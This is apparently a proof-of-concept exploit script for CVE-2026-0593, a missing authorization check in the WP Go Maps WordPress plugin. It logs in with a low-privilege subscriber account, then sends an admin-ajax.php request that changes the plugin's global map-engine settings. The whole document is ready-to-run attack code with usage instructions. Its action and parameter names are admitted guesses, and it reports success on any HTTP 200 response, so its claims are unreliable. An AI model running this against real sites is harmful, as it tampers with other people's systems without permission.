CVE-2026-0593

#!/usr/bin/env python3 """ CVE-2026-0593 PoC - WP Go Maps Unauthorized Configuration Modification Author: Security Researcher Description: This PoC demonstrates the missing capability check vulnerability in WP Go Maps plugin's processBackgroundAction() function. """ import requests import sys from urllib.parse import urljoin def exploit_wp_go_maps(target_url, username, password): """ Exploit the missing authorization vulnerability in WP Go Maps. Args: target_url: Base URL of the WordPress site username: WordPress subscriber-level account username password: Password for the account """ # Step 1: Login to WordPress login_url = urljoin(target_url, 'wp-login.php') session = requests.Session() login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': target_url, 'testcookie': '1' } print(f'[*] Logging in as {username}...') response = session.post(login_url, data=login_data, allow_redirects=True) if 'wordpress_logged_in' not in str(session.cookies): print('[-] Login failed!') return False print('[+] Login successful!') # Step 2: Identify the vulnerable endpoint # WP Go Maps typically uses admin-ajax.php for AJAX operations ajax_url = urljoin(target_url, 'wp-admin/admin-ajax.php') # Step 3: Send malicious request to modify map engine settings # The processBackgroundAction function handles various actions # We need to identify the specific action for map engine modification exploit_data = { 'action': 'wpgm_process_background_action', 'background_action': 'modify_global_settings', 'map_engine': 'leaflet', # or any other engine to override 'nonce': 'exploit' # Some versions may not require valid nonce } print(f'[*] Sending exploit request to {ajax_url}...') response = session.post(ajax_url, data=exploit_data) # Step 4: Verify the modification settings_url = urljoin(target_url, 'wp-admin/admin.php?page=wp-go-maps-settings') verify_response = session.get(settings_url) if 'leaflet' in verify_response.text or response.status_code == 200: print('[+] Exploit successful! Map engine settings may have been modified.') return True else: print('[-] Exploit may have failed or settings already modified.') return False def main(): if len(sys.argv) != 4: print(f'Usage: {sys.argv[0]} <target_url> <username> <password>') print(f'Example: {sys.argv[0]} http://example.com/ subscriber password123') sys.exit(1) target_url = sys.argv[1] username = sys.argv[2] password = sys.argv[3] exploit_wp_go_maps(target_url, username, password) if __name__ == '__main__': main()

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